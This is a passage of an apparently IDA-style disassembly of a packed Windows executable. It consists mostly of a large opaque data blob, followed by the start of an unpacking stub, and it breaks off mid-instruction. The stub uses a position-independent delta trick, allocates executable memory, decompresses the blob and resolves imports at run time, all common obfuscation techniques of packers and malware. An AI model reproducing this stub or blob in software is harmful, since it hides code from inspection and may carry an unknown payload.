0C43CA4Eh, 5C69420Fh, 502D68FFh, 0E8522448h, 9042493Dh dd 729BA1B7h, 1491EF62h, 2E249479h, 2EF8A138h, 0AD16C945h dd 9A14A4D1h, 0E18AEC77h, 3CA4285Dh, 64674231h, 471631C7h dd 4A4EAC62h, 0FA4C4CB4h, 19CF9456h, 28757564h, 397925D0h dd 58226FB7h, 0D6928C4Ch, 734CFDCFh, 69BB9F44h, 1A109A66h dd 8C84EE15h, 811586DCh, 80756F7Ch, 1175C604h, 0E342134h dd 0D0247512h, 10080F2Dh, 9C4D6B43h, 25728226h, 6A6BE898h dd 6FF203D6h, 502E256Bh, 6AADBC09h, 4CFC0830h, 68266F6Ah dd 0B9A21323h, 97505DFDh, 5FD46F2Ch, 58C93556h, 9FAB42A1h dd 0C79D44Bh, 3243A346h, 10512166h, 0F79722Ah, 41533498h dd 0AEE5530h, 43816A12h, 22A283CDh, 1A678234h, 64E4480Eh dd 6A88BB76h, 6F468D58h, 8952F62h, 0DD8D1512h, 0A231404h dd 0D278CB54h, 8124AD41h, 19698E36h, 113B541Ah, 69B40365h dd 0CB733132h, 6C9984CAh, 4C8F0AA8h, 7215DB62h, 0E474064h dd 69684437h, 23853C14h, 73498CAAh, 82792B7Ch, 0B23E0A9h dd 52463DB8h, 588D909Bh, 0F5659768h, 0EDA90034h, 0EC91CE42h dd 7289BA4Ch, 5BBBA43Ah, 7E353053h, 0F5F808D2h, 0EFA56D25h dd 0BC70F546h, 5279B890h, 0C243A31Ch, 0D08AE475h, 287E98D1h dd 0E9AE5068h, 1D3ACEA7h, 758B48F8h, 67D32150h, 17A2449Eh dd 0C3F08A3h, 2873A96Eh, 6B6D8120h, 0E72028BFh, 89919163h dd 2F6A6F4Dh, 0BC4A208h, 2D127372h, 223B953Bh, 1078294Eh dd 0BD6A21E8h, 90F09C9h, 70C16187h, 656E5301h, 8DFDEF40h dd 9B09F268h, 78A953F5h, 32246B25h, 5FCC8E6Ch, 4A203411h dd 0FC3CA4C8h, 23E5A64h, 52496D1Ah, 655EBCC6h, 93B89F5Bh dd 0A4127B2Eh, 2468E44Ch, 0A4537475h, 807173ABh, 73144D96h dd 12D276E4h, 837D64E5h, 0F34012DCh, 8C66386Eh, 863A0A0Dh dd 4BA1AB70h, 22219312h, 6331503Ah, 0D6666916h, 1379AAAAh dd 6F67E110h, 2746006Ch, 9C75738Eh, 622E1761h, 3DC94961h dd 93230B1h, 4C636673h, 0BE462A5Fh, 5ABF654Fh, 0A609D871h dd 541FC2E5h, 5E49708Eh, 58021C64h, 9F216465h, 17622C24h dd 5448C24Eh, 30F5268Fh, 2B87A05Ch, 4C050462h, 894309FCh dd 24161206h, 0E463BE4Ch, 220951E8h, 19D21D2Eh, 6C6D0968h dd 7379B140h, 5D46353Dh, 28431444h, 0B4107570h, 3649416Eh dd 484DF434h, 1C2E7A2Bh, 1B734F0Ah, 0EA5BD6C9h, 0C8289737h dd 42F62C04h, 40597548h, 5ED02963h, 0F3F1A45Fh, 0B9F64E1Dh dd 9D2C4819h, 1B854E22h, 394A8D37h, 0AE06FB52h, 723F2105h dd 4A655769h, 6954C217h, 55051D6Dh, 19697470h, 3871B02Ch dd 0F5F36D3Ah, 1751F023h, 2BE4DF1h, 989479A2h, 0CE3FBF24h dd 0D172A392h, 683BBC89h, 0ADD3C84Ch, 6DA44708h, 4A2E0218h dd 93C3368h, 0DC245058h, 784D094Bh, 3839315Eh, 97544E08h dd 0A08C3511h, 787CA22Eh, 2061A515h, 98A48690h, 6AF68D56h dd 3D8DA7FCh, 3345C6F7h, 4EC822DAh, 0C88ED72Fh, 2D50AE7Dh dd 0B12DEE84h, 61492ADDh, 9D51EE63h, 2CBC8CE4h, 95647A5Ah dd 6468C014h, 7717DD4Ah, 5168C909h, 5851A00Eh, 0BE713266h dd 8254DCEh, 0E79C3578h, 98B39C2Fh, 0B24E96E5h, 13904058h dd 2F65424Bh, 19126340h, 0B44D014Fh, 0E56C43C7h, 0C97609F2h dd 9BDA6499h, 6987468Ch, 0AFB61A2h, 922C7740h, 3C82BC83h dd 215299FBh, 9C27D358h, 94152D76h, 5F3BBC61h, 8070D4F0h dd 0B1F538FDh, 66F52928h, 6925242Ah, 93380F5Eh, 341F3E89h dd 0A3D650CAh, 0B7669234h, 0DAEF4268h, 0E1ED1C0Bh, 2495384Fh dd 183579F4h, 642B5534h, 0BE5A6B70h, 6A38875Ah, 1C95FC8Fh dd 796B395Ch, 0F29697F2h, 0B432444Ch, 33A82999h, 536FFF8h dd 946D2925h, 537C3521h dd 0A5A4342Eh, 0C43F2EF4h, 0B9EB5424h, 0F15F33A9h, 0A284A2Eh dd 12467063h, 8C5EF024h, 7329789h, 38358B3Ah, 0A98D7314h dd 27748C03h, 0CFE22E48h, 0A23D082Ah, 21249C08h, 75AB4F44h dd 5A696CC1h, 172C8BA5h, 6ACB3751h, 215771BCh, 6DAE02D6h dd 5313B24Dh, 0A4798CF6h, 7060CC1Bh, 0F9926690h, 50445515h dd 22E3D2CFh, 45E24446h, 456DF64Fh, 84808831h, 4F533D78h dd 451C4B43h, 52DC5F54h, 0AAA2F37Ch, 85C97FDBh, 0BC343D0Bh dd 78732E49h, 2886805Eh, 34929562h, 0CA3D2461h, 50531B94h dd 52A1D6D8h, 1651676Ah, 0BE974A79h, 0C4A885A4h, 0A4D6CA46h dd 9753624Bh, 98289299h, 8EB97E4Ah, 9E821720h, 146BFCD4h dd 352863C6h, 0D5F42F4Bh, 466C7A78h, 0D102B677h, 49B83C74h dd 0E4CF91BBh, 428B2E50h, 73457296h, 0AD561876h, 79E349B4h dd 6692AA41h, 0AE59D0C7h, 67FD5842h, 0D28C46E7h, 0B76BB409h dd 9F6B2DC1h, 24CBD07Fh, 0D534943Ah, 0B65B8A08h, 7E8046F8h dd 3D5226DFh, 71C2A8CDh, 0E641C610h, 4C20B380h, 932540B4h dd 3B377013h, 29FA255Bh, 1A052D64h, 9058C34h, 5D05713Ah dd 0D6C87620h, 45FB8987h, 2642A50Ah, 2E1447D6h, 6717F920h dd 22E94395h, 0F12829DCh, 2F497842h, 4064516Eh, 41FCE880h dd 0FD1808A8h, 50120181h, 44C53828h, 44442B1h, 3C296AC4h dd 98718A6h, 140A4C52h, 4E448751h, 0CE45C553h, 0DA33482Bh dd 93C35E8h, 9FA47055h, 245EB665h, 53EF963Ah, 9852D5B2h dd 392F6634h, 0D1480F4Ah, 278A9A11h, 66452E2Eh, 932FD6C6h dd 0B46249BBh, 0EEC41812h, 0D52DBFF3h, 58CFA37Dh, 0D0B5F25Ah dd 0A0F583A8h, 679A7778h, 76526D76h, 0DC623EA0h, 42124DB5h dd 52A7ED40h, 84A8EFEAh, 563C7DC8h, 0CA7AA7C9h, 97DE50E8h dd 0A612FDABh, 0B1A0EEDEh, 715D6348h, 0B36464D2h, 21DCB1E1h dd 0AB6DF53Dh, 3AACA052h, 685B22B4h, 2F8EF06Fh, 7B92CC4Ch dd 0AA807ED0h, 164DFF78h, 48D1471Fh, 95B643A8h, 2438F1EBh dd 7E2E7917h, 123C49Ah, 800006E8h, 8AAFA8BDh, 11C90B7Dh dd 0B0F4F4BEh, 1892985h, 5EC46EFAh, 182F3CF7h, 0B0C05445h dd 3975201h, 11D059CAh, 0A080D5A8h, 80210DC9h, 0B5260051h dd 0C1371D55h, 0AB46C500h, 2A8F6379h, 69E82F68h, 0A539C865h dd 2648513Ah, 525040B9h, 4D1C5649h, 4E074753h, 4395544Fh dd 0E18024E0h, 90A5015Fh, 58323068h, 31B9A83h, 82F0C8Bh dd 48B0D945h, 7C74104h, 0FCFAC22Eh, 0D7140252h, 1CB38B6h dd 776F0BF1h, 0F0D16EB2h, 0DEE468A2h, 0C218895h, 42148FA6h dd 39203ABBh, 6E2CD279h, 7CB2328Eh, 6461731Fh, 2E3407BAh dd 71634369h, 6D75551Eh, 288C4FBCh, 41463823h, 61C44BBAh dd 28208E9Ch, 699B6363h, 0C8A8DD31h, 0E967321Eh, 0CB242326h dd 0D85E4AE2h, 73126D24h, 9D4FADB6h, 10727B1Ch, 788F2E2Dh dd 42692BE3h, 466792Bh, 9CD3B045h, 53091F94h, 7774496Fh dd 4D5C0D40h, 7C63693Bh, 521D736Fh, 9578A1A6h, 0BE564B31h dd 75C74EA8h, 28FB52F7h, 277D3085h, 38875D4Eh, 454C4F41h dd 0DD088D2Ah, 3A3C594Dh, 3CA15A29h, 4C28BC0Bh, 506EBFEEh dd 482F54AFh, 5741447Bh, 2A12F04Ch, 0F1141640h, 0A8295484h dd 2617B4A4h, 7561702Dh, 2EB5737Ah, 42786B85h, 646D9EB4h dd 41643D93h, 501A19ECh, 42C518D7h, 5C165F5Ah, 77A73C81h dd 60500206h, 4E7950CDh, 0DCFFA8A0h, 80E9FF3Ch, 415C6190h dd 8747526h, 76B33DACh, 4F458E70h, 6CB29661h, 88A45294h dd 912A3AC3h, 523E6E45h, 0D9A887FFh, 0B8CCF89Bh, 0F519DAFBh dd 0AC32E509h, 5969F0DBh, 1619D2EDh, 6438522Eh, 104D04F4h dd 6D70269Eh, 7A4055A8h, 14B508B6h, 0BF1DB836h, 4E58281Ch dd 0D84B3F66h, 59A9927Eh, 308D136Fh, 4A8F3704h, 0A47E8CA2h dd 1A4DE00Bh, 1945444Fh, 4850F33h, 844F482Fh, 2F11644Ch dd 61521F74h, 0B27EAEEDh, 0FC6B0E0Fh, 5F8F44EFh, 0F347D3Ah dd 12977430h, 92BBE5BFh, 0ADBC526Eh, 3D564A20h, 5125D31Fh dd 5331B131h, 4D58E250h, 782E7829h, 44C253F3h, 2C40A193h dd 4CA2D3B9h, 94A9A69Ah, 0B66898E5h, 0DD2B6571h, 2E67D8FCh dd 90EA9584h, 2D721485h, 6BF30417h, 0E8845E40h, 40084169h dd 412ED164h, 6C1822B4h, 72523358h, 9051D510h, 353FEDD8h dd 0E44416ADh, 2E7779A9h, 0C625DB99h, 6496BFABh, 4958049Bh dd 9525AE44h, 489CACCCh, 2F2890CDh, 43A448BDh, 58C869F3h dd 0D48D5FADh, 9CFE02BDh, 0E95C49CEh, 0E5CC5952h, 2F50F254h dd 4AEBED73h, 0E9F14B74h, 0C8F473D2h, 4A4CF148h, 0DFB14838h dd 0E462758Ah, 6828B47Ch, 6B2E1667h, 0A4954304h, 0BA98C950h dd 4CCA4843h, 9C286938h, 0BB5E7224h, 0A01C6727h, 0E2AFBF10h dd 51691574h, 9FA44D9h, 6D030510h, 0BC8B2774h, 43BEBDD1h dd 0E13A448h, 0F52C0754h, 781A6BF5h, 60415994h, 75A0822Fh dd 97DCBE55h, 0FD51FC09h, 3A2F2CC8h, 0C96454D0h, 0D27C9A2Fh dd 62C14C75h, 13B56710h, 0AF52ADB9h, 3034B6A8h, 42486E8Dh dd 0B4A8A4ECh, 46A73BF5h, 0E11E44Ch, 0C8614FB9h, 223A2973h dd 67E76F0Bh, 92DAD8BAh, 38B85F34h, 0B4911BE9h, 8D47483Eh dd 8A907D42h, 1C2F2EFDh, 0FE98946h, 0DE109048h, 1A7068DAh dd 9F871690h, 51886128h, 203E3A29h, 1ABD8946h, 0F59F9548h dd 452900C2h, 747A18h, 0B4551429h, 92877A89h, 7BB5F8A2h dd 0A444D114h, 0EEB4228Bh, 5B24C510h, 79613481h, 6D3B1D4Ah dd 29B9FC5Dh, 2464E429h, 444521AEh, 0A567736Eh, 57E253E5h dd 34855096h, 1B446679h, 6389D8A8h, 34A3915Eh, 13243A5Ah dd 78BEBC34h, 0E2D54188h, 0D42EAD57h, 0A47CCB67h, 0D9254879h dd 453892Fh, 0C93DBE18h, 0A5DFDD2Eh, 49B6C647h, 6FC55961h dd 2D587566h, 298E5479h, 0FECD2E15h, 17478E4Ah, 1AB0394Ah dd 5674978Ch, 992F6029h, 2E3D1D3Ch, 0F11797C4h, 48AF74B1h dd 66697348h, 3F2325E5h, 9032A069h, 0D34847BBh, 0CD1BCFA5h dd 4AD88B4Eh, 0CD4ED9CFh, 0D4243BB2h, 0D0925729h, 28382444h dd 6D5C2811h, 43498144h, 4232504Dh, 61D0214Fh, 0ABA95476h dd 0D8A80635h, 0BF00A2F4h, 2EA44C42h, 0F31D69D1h, 3E70C51Eh dd 96324CCEh, 0D02A7884h, 4EEC604Ch, 6459E5B6h, 272B2C23h dd 6ACF3C5Fh, 6F4A1448h, 365C688Bh, 0BC6C10B2h, 4B348733h dd 4F7492C1h, 0E4F8E534h, 4E61E677h, 5B1CCF77h, 0C0F2C834h dd 12DE6BBCh, 444873A7h, 91748A73h, 684BE33Ch, 7D347865h dd 0FCD24E1Bh, 0CAE824EFh, 4A694D00h, 341B72B1h, 259E53CAh dd 0C434267Ch, 0F19379CAh, 0F13815D8h, 0F9486CADh, 5ACC8D3Bh dd 80DF93AEh, 0D7C784D3h, 3824F8F9h, 1C521A2Fh, 0DC749EE4h dd 0D34C51D4h, 2BDC21B3h, 0C9B6546Ch, 8D544021h, 69332370h dd 70A2FC9Ch, 431391C7h, 0BC926EEDh, 10A2D752h, 82C39B4h dd 7C9B6424h, 122F4D51h, 9678A3E6h, 0E59628A9h, 8F240FB3h dd 0C43DDA6Ch, 0E3EE9D1Fh, 47C4B8A7h, 0F8A534BFh, 0EC29BDE4h dd 9468ACB4h, 45B8923Fh, 0BD587226h, 0A75A3AD3h, 602E29B6h dd 0AE2C7A76h, 0A540ADBFh, 0B7D14809h, 25A8B749h, 2EC19A62h dd 0A3394D67h, 41D1B00Eh, 1EDF892Fh, 101702Bh, 49544341h dd 21BD4E4Fh, 82D48F4Bh, 706C6379h, 41501264h, 0B488E752h dd 0B61152AFh, 562BDA81h, 714F53D4h, 2DF9B0A2h, 8F3EF979h dd 75DE92B0h, 649753A8h dd 0D04B9FBFh, 838D184Bh, 2CF2E00Eh, 89DE876Ah, 87759E25h dd 0E9DC5A3Ch, 553E42ADh, 3C1D6A3Ah, 0CCFDB7A5h, 29A37632h dd 0BB622487h, 43D4D410h, 0EDA34B08h, 56630C44h, 18490879h dd 0FE481443h, 64490846h, 70113C43h, 0A4269E6Dh, 9E4015CEh dd 0B9936891h, 2C18900Dh, 0A0B7A86Dh, 0C136465h, 0A4E43D5Eh dd 32C08A3h, 701714A1h, 0D6206711h, 7689A625h, 3E1024A1h dd 86E7014h, 1C09299Ah, 68C86FDCh, 8BA7347h, 26AB74C5h dd 1A5318Bh, 0E60C6B14h, 98348E79h, 57088CCFh, 70111477h dd 89249E74h, 6A1514A3h, 64C49208h, 0E9981467h, 29CA91D2h dd 762A0470h, 38084DE1h, 75199966h, 70940447h, 0AE136524h dd 2D04CE10h, 0C9BCCD63h, 0BAB5103Eh, 7A3065AEh, 91D4D8DCh dd 2C422F12h, 0BF34B467h, 0B8E550B3h, 0F2F7D27Bh, 997DB292h dd 8B546694h, 7FAC14D4h, 0D2CAE9D6h, 724AD3B6h, 50B52E5Bh dd 0DC52DE21h, 94E5E9A5h, 8D4C36D2h, 0B67517DEh, 6D7A65D2h dd 0D72839AFh, 0D1DBADBDh, 7DF9D344h, 4F447629h, 2254B7F7h dd 48A0A642h, 284CA753h, 0DB577038h, 0B0C4156Ah, 662E6C0Eh dd 0C23C2BEh, 216A2DAFh, 1AD86A2Fh, 74A8676Fh, 0FC6365ABh dd 9DF8E505h, 453C10D8h, 797428C2h, 7B14FE3Eh, 9B8A5E5Fh dd 0C55C0F26h, 0CA3A8477h, 19DD410Ch, 64496908h, 0E8A87718h dd 84D46C48h, 250C742Bh, 5C723C79h, 9134FD70h, 70EFD7A9h dd 0C180BFF9h, 0D30510A0h, 3E002D09h, 0A846EC3Eh, 40AB77ACh dd 315F89D5h, 0C874EFE0h, 34889B97h, 0BC213310h, 0CCFC932Ch dd 812E8DAh, 80878114h, 57AF53E4h, 0FDAF16D9h, 929AD3BFh dd 29B43443h, 31AA7524h, 178A2F0Fh, 0A8D38F6Fh, 762ECB4Eh dd 5E2A59ACh, 8453927Ch, 536C4F28h, 0FFB48679h, 447F5C24h dd 0E11E845Ah, 0A4366EB4h, 0F5C3E324h, 54771917h, 0BD5C45D9h dd 467814D3h, 0F3C65A69h, 0AB66797Eh, 1437C50Ch, 1414E08Dh dd 0E763F48Ch, 0C46E072h, 3E00B14Ah, 1077B517h, 269A51FFh dd 61670451h, 0F8C908DAh, 0C38BB750h, 6C53889Ch, 0F652920Ch dd 0AC72E828h, 1B1AB508h, 0CEFE7C7Eh, 0A5B7624Eh, 0F6243E95h dd 52A2ECF6h, 0A11B26AAh, 4B644829h, 0FA77CF07h, 6269E5ACh dd 73316408h, 28D63AC2h, 71450C48h, 12EB1435h, 231C8A42h dd 9365AD64h, 535432A5h, 17659564h, 473159Ch, 8B169E6Fh dd 929DA24h, 63389B0Ch, 706F5011h, 0D53F6984h, 0C2B4997Dh dd 38270C93h, 0A51F0B6Ch, 2D352E3Dh, 2AE9E067h, 127AE4F3h dd 2394510Fh, 0B058C954h, 0A0947B8Ch, 549B1FA2h, 50992A22h dd 14A50D48h, 53F5E360h, 844B5826h, 9AECA982h, 0AD71F9B7h dd 41BF1D50h, 262C7381h, 136E6571h, 4C28F96Ch, 93C2F970h dd 746E380Ch, 0F31387EEh, 9824B45Ch, 2AD35CF9h, 9CDB4ABCh dd 23103068h, 90C72525h, 842F794Dh, 0B94874B2h, 4EE8918Ah dd 419A80CBh, 0CB2D0C08h, 543C60AAh, 0E18C9C9Fh, 5B1D0C49h dd 5C467C67h, 0C24C3997h, 30140C92h, 30A328B9h, 17CB7964h dd 352DA770h, 54906C53h, 94E46357h, 9C2D91A0h, 734C7CFAh dd 68A3A41Ch, 19DA5891h, 0C653C0F4h, 0A52A9118h, 0B84CCC42h dd 5E7313CBh, 0C238CD28h, 0C2A5DCC5h, 2BDC6CC3h, 3E083164h dd 0FB7224D0h, 6412961Dh, 36C11399h, 11293599h, 0E9C1FE24h dd 0EE084528h, 85102436h, 8D39B424h, 0A075E1F5h, 0DD94083Bh dd 6425143Eh, 0ED2D2704h, 38596D80h, 2DFAE5C9h, 0E86A2EF7h dd 5BFDA65Fh, 964976A3h, 7CED5859h, 75D79EDEh, 796248C1h dd 0EA04CEA5h, 57B85A21h, 0ADF94832h, 5F50010Fh, 0C515479Bh dd 0D15F1F5h, 0FE48CCF3h, 294A6A8Bh, 9D413FBBh, 3C76A3D1h dd 52825647h, 238C5453h, 1156383Fh, 6CBFBD7Eh, 47C77015h dd 4159F298h, 0F6A627A0h, 0C617CA81h, 808FC72Eh, 5B5E4327h dd 2CFDF044h, 0B5E2E6FDh, 4A8EF370h, 927E2A81h, 0C7143359h dd 1349FA78h, 94652E27h, 0E957BDAh, 0B2523533h, 25984268h dd 25A95B3Ah, 0A88F3C52h, 8D4E44A5h, 7C876888h, 91D24BE0h dd 19A68CA9h, 3FD13451h, 517718A2h, 8E9AD830h, 0BC400935h dd 0B4904F4Ah, 8F844795h, 47EA4F50h, 0EECFCA0Dh, 609210Dh dd 4CB50887h, 0E3295A67h, 0B4439CCh, 5C677562h, 0E9845BC9h dd 6235FD38h, 0A1F297Fh, 2FA7F52Ch, 7E5C5E68h, 0DB353ABFh dd 3A06326Dh, 1CAC4071h, 73B0DEA7h, 0F68DDEF2h, 63D46B93h dd 4CCC0173h, 0BAB47D29h, 0DF19AC60h, 0A528BC40h, 5B1044DBh dd 5D067C32h, 1CDC09AEh, 30287239h, 894490C9h, 14E5539h dd 3450535Bh, 0D41996C3h, 0A9725410h, 99C3208h, 0C543931h dd 1049D930h, 0EB338932h, 9A04FD02h, 315B44F9h, 0EAE86FEh dd 0E73801Fh, 0F9E24345h, 0C8B1183Ch, 9C6A0C2Dh, 0C303C097h dd 0FC783040h, 0F064DDEFh, 963EB08h, 0FB8D340Ah, 3C0C3F7Ch dd 0B03D019h, 7848D4CAh, 207D41FAh, 590EDA7Dh, 47FF331Ch dd 271C57F6h, 8110090Ch, 3210A79h, 0F9027541h, 3168933h dd 0C1D9F074h, 0C0833B17h, 0CCC3CD04h, 743AF685h, 0EFF3ADBh dd 41F203D7h, 12E857FAh, 0E84AD1BEh, 10435E7Fh, 9C692D20h dd 0C1A989AEh, 17E8C06Ah, 17533C3h, 113DC7C3h, 21071002h dd 50ED840Fh, 5B58C3A6h, 83505D05h, 9F0054ECh, 488DFC8Bh dd 0D7EA40h, 44B0AAF3h, 515257ABh, 28726AE2h, 550C0160h dd 2D6FF53h, 8554C483h, 0AC4DC3C0h, 0B65DCC27h, 0A95772CFh dd 9213D8B4h, 0C9D1B44Ah, 5EA593F3h, 0F3D3CEE6h, 9D8C4C7Fh dd 0A37AE567h, 6E7BA417h, 8CA83F0Ah, 73089875h, 90EF3188h dd 44853B4h, 421B3F13h, 199305A4h, 0E8B4C57Fh, 84A7001h dd 0C6F04148h, 6510A350h, 30100940h, 4220A818h, 1CC004A9h dd 6701A6FFh, 0AF139F0h, 55555501h, 331C7225h, 141001E0h dd 0A438190Eh, 111D0C41h, 121A8934h, 481B2430h, 221F9128h dd 18134420h, 10122189h, 8480E24h, 89700D91h, 57F8120Fh dd 91F080B1h, 0E8220511h, 89E41E44h, 24E01212h, 91DC4820h dd 44D4220Ch, 1589CC0Bh, 1C24C412h, 1991BC48h, 1144B422h dd 121889ACh, 481624A4h, 2217919Ch, 90224494h, 8C122389h dd 88482424h, 0F00E01A1h, 0F8C4107Fh, 9AEF62FFh, 0BEEEFF10h dd 10088056h, 12B4410h, 0A301014h, 44171FDh, 72063E5Eh dd 5CB04849h, 4A8413Fh, 2D1A0920h, 3215D0Dh, 8C422E04h dd 23A5135h, 0FD1628F2h, 8248F30Ah, 84903D10h, 29221ABDh dd 1640281h, 0E240D02Fh, 42029682h, 3C18FD02h, 5568B120h dd 7054447Ah, 695C992Eh, 0C4E8876h, 2102210Ah, 0A40C0804h dd 39600803h, 21297982h, 0DFA68A20h, 0A5A14208h, 219F8130h dd 4004FCE0h, 0A833807Eh, 0A3C1610Eh, 5C6A52DAh, 8AFE8111h dd 0B5650840h, 41C8302Eh, 0CF43B6E4h, 0C395E4A2h, 0E8B3E508h dd 60B55BC2h, 0AA17E0Ah, 905518Ch, 0CE5E72DAh, 6ACF5FC0h dd 45C3208h, 0E0DED8D3h, 7E3105F9h, 295F3A26h, 991C0BC0h dd 1C04191Dh, 8D918796h, 8E900823h, 431E8FF2h, 7991C890h dd 93210F92h, 5DA5D7E8h, 90ACC26h, 88028C44h, 0B8B0A784h dd 91582081h, 2C220911h, 0E2082081h, 0DC2EC8ECh, 17EF80A6h dd 0C488C063h, 5C3C08A3h, 248F905Dh, 0FCA86117h, 0CF3828A5h dd 8C8F11C4h, 64C86317h, 44781122h, 44897954h, 34247A12h dd 3091FC48h, 2044FF22h, 0BB4BF880h, 111327Dh, 48E51E75h dd 15B9B410h, 0A49EAFBCh dd 9E742090h, 0A7F5710h, 69092694h, 0FC0185A2h, 0A635A4E1h dd 4044A817h, 8C03935Fh, 0BCBA8129h, 8811870h, 299DA2Ch dd 2688377Fh, 3797416h, 8904084Ch, 4EF06618h, 0D2BF2424h dd 84CE0944h, 78440C53h, 67F114A6h, 74072998h, 16141CA3h dd 2908D03Ch, 1094580Fh, 9411C814h, 18D00412h, 35942123h dd 0E441C810h, 99507243h, 184C5234h, 5308A653h, 59296057h dd 186C947Ch, 0E4E46DCAh, 951C4870h, 6CAAC72h, 72806530h dd 89981B4h, 83204C82h, 4884538Eh, 29449122h, 5710A69Eh dd 0A42990A1h, 0CAA79170h, 0CEE5A0B7h, 38D72032h, 0C930718h dd 30708009h, 90F1F06Ch, 53501284h, 0C5EC7E54h, 407E4450h dd 424A8482h, 84AECE3h, 10BD02Dh, 0C901043h, 3B441E22h dd 7809C85Ah, 0B5229791h, 89F3D444h, 30D55311h, 454E0922h dd 3A34186Dh, 77929493h, 0B4C11CCDh, 0F226D312h, 51106609h dd 4D44092Fh, 0F809946Ch, 404202A0h, 2805C8C5h, 842FA0Ch dd 0C9C48DEh, 42C35058h, 0F424C20Fh, 80081412h, 50169896h dd 0BE23BC20h, 0BF040019h, 348E1BC9h, 0EDA10F84h, 0C263CECCh dd 20E04ED3h, 0B5009EF0h, 0ADA82B70h, 0F8699DC5h, 0FD5D00D0h dd 8E1AE525h, 0EB3E194Fh, 96710083h, 0E4395D7h, 298D0F05h dd 0F9809EAFh, 0ED44A0BFh, 8F12811Ch, 9EB982CFh, 0A6D53CC0h dd 3749FFCFh, 0C07A781Fh, 8CE0C66Fh, 0C980E900h, 0A893BA47h dd 85BC0041h, 3927556Bh, 700FF78Dh, 80427CE0h, 0F9DE8EDDh dd 0EBFB009Dh, 4351AA7Eh, 7600E6A1h, 29F2CCE3h, 81842Fh dd 10284426h, 0AEF8AA17h, 0C51FE3EAh, 0EB01FAC4h, 0F7F3D4A7h dd 4AE1D4h, 45CF957Ah, 91C7CC65h, 0AEA60E00h, 0A3E319A0h dd 70D7D46h, 81750C17h, 0C9763086h, 58004D48h, 93A7E442h dd 0F353B39h, 53EDB2B8h, 5DE583BEh, 0D09FC53Dh, 5A929E8Bh dd 0A600FF7Ah, 0C020A1F0h, 38CA554h, 0FDD16137h, 0D8905A8Bh dd 89005D25h, 0AA67DBF9h, 0FF3F895h, 0C8A2BF27h, 6E80DDA0h dd 9B00C94Ch, 28A2097h, 29C46052h, 0DFB7525h, 804CCCDh dd 3F01FB01h, 0D70A3D71h, 54370A3h, 645AE0F8h, 4FDF003Bh dd 126E978Dh, 0C3F8F583h, 652CD300h, 1758E219h, 0F1D13EB7h dd 230FD001h, 0C81B4784h, 0A73EC5ACh, 0A64000EEh, 0AF6C69B6h dd 37BD0F05h, 3380EB86h, 7A42BC3Dh, 94D5E503h, 0E1E7D6BFh dd 0CEC4FDC2h, 11840361h, 0E4ABCC77h, 5B4C2FE0h, 0C44DE100h dd 0E69594BEh, 0F092F8C9h, 753B0753h, 0E314CD44h, 0DEE0AF9Ah dd 9401BA67h, 1EAD4539h, 0E0DFCFB1h, 3FC62324h, 3B83BCE2h dd 7A8B6131h, 595540E7h, 0B1037EC1h, 0BB127C53h, 0EED7E05Fh dd 68D002Fh, 158592BEh, 48DF44FBh, 39E9A587h, 7FEA2730h dd 2A7CA8h, 0E4A1AC7Dh, 467C64BCh, 55DDD000h, 67B633Eh dd 542300CCh, 91FF8377h, 0FAE63D81h, 7A193A00h, 31432563h dd 3CAC00C0h, 38D18921h, 97384782h, 0D7FD00B8h, 5888DC3Bh dd 0B11B0108h, 0A686E3E8h, 84C6F003h, 7424500h, 377599B6h dd 3A2E01DBh, 0D21C7133h, 0EE32E023h, 5A904900h, 0BE87A639h dd 0DA570FC0h, 0A20082A5h, 68E232B5h, 0A711B200h, 59449F52h dd 2C1000B7h, 2DE44925h, 4F073436h, 6BCEAE53h, 4598FB0h dd 0DEC000A4h, 0E8FB7DC2h, 9E001EC6h, 575A88E7h, 0BF3C91h dd 18228350h, 62654B4Eh, 8F03FD78h, 7D9406AFh, 0DE5C0011h dd 0C8D2CE9Fh, 0A605DD04h, 0A9280AD8h, 2E1E54F3h, 6556053Fh dd 0CE56BB78h, 403866E8h, 1618A7F0h, 314BBA6Ch, 4031F45Fh dd 64747340h, 20293DDCh, 1D2A5EEBh, 0D2661C5Fh, 0C451AE72h dd 0F3409021h, 74321565h, 6CB44168h, 58B57444h, 0F55F5E4Ah dd 153AAF1Ah, 550121E8h, 0F3h, 27000000h, 9CE00170h, 88DC09C8h dd 33110221h, 18F9022h, 0CCD7h db 3 dup(0) ; =============== S U B R O U T I N E ======================================= public start start proc near var_28 = dword ptr -28h var_24 = dword ptr -24h arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha call $+5 mov ebp, [esp+24h+var_24] add esp, 4 cmp [esp+20h+arg_4], 1 jnz short loc_4CE42A mov eax, [esp+20h+arg_0] mov [ebp+43Ch], eax jmp short loc_4CE436 ; --------------------------------------------------------------------------- loc_4CE42A: ; CODE XREF: start+11j mov eax, [ebp+438h] mov [ebp+43Ch], eax loc_4CE436: ; CODE XREF: start+1Dj lea esi, [ebp+460h] lea ebx, [ebp+2EBh] xor edi, edi call sub_4CE59B jmp short loc_4CE466 ; --------------------------------------------------------------------------- loc_4CE44B: ; CODE XREF: start+5Fj mov eax, [ebp+43Ch] push dword ptr [edi+esi+4] add [esp+24h+var_24], eax push dword ptr [edi+esi] add [esp+28h+var_28], eax call ebx ; WideCharToMultiByte add esp, 8 add edi, 8 loc_4CE466: ; CODE XREF: start+3Ej cmp dword ptr [edi+esi], 0 jnz short loc_4CE44B cmp dword ptr [ebp+448h], 0 jz short loc_4CE483 cmp dword ptr [ebp+44Ch], 0 jz short loc_4CE483 call sub_4CE63B loc_4CE483: ; CODE XREF: start+68j start+71j lea esi, [edi+esi+4] push ebx push 40h push 1000h push 677h push 0 call dword ptr [ebp+3D1h] mov [ebp+45Ch], eax pop ebx push dword ptr [ebp+45Ch] push esi call ebx ; WideCharToMultiByte add esp, 8 mov esi, [ebp+45Ch] mov eax, esi jmp short loc_4CE4BA ; --------------------------------------------------------------------------- loc_4CE4B9: ; CODE XREF: start+B2j inc eax loc_4CE4BA: ; CODE XREF: start+ACj cmp byte ptr [eax], 1 jnz short loc_4CE4B9 inc eax mov edi, [eax] add edi, [ebp+43Ch] add eax, 4 mov [ebp+458h], eax jmp loc_4CE56A ; --------------------------------------------------------------------------- loc_4CE4D6: ; CODE XREF: start+162j push esi call dword ptr [ebp+3C9h] test eax, eax jz loc_4CE599 mov [ebp+454h], eax mov eax, esi jmp short loc_4CE54A ; --------------------------------------------------------------------------- loc_4CE4EF: ; CODE XREF: start+13Dj start+142j mov eax, [ebp+458h] mov eax, [eax] test eax, 80000000h jz short loc_4CE512 xor eax, 80000000h push eax mov eax, [ebp+458h] mov dword ptr [eax], 202020h jmp short loc_4CE518 ; 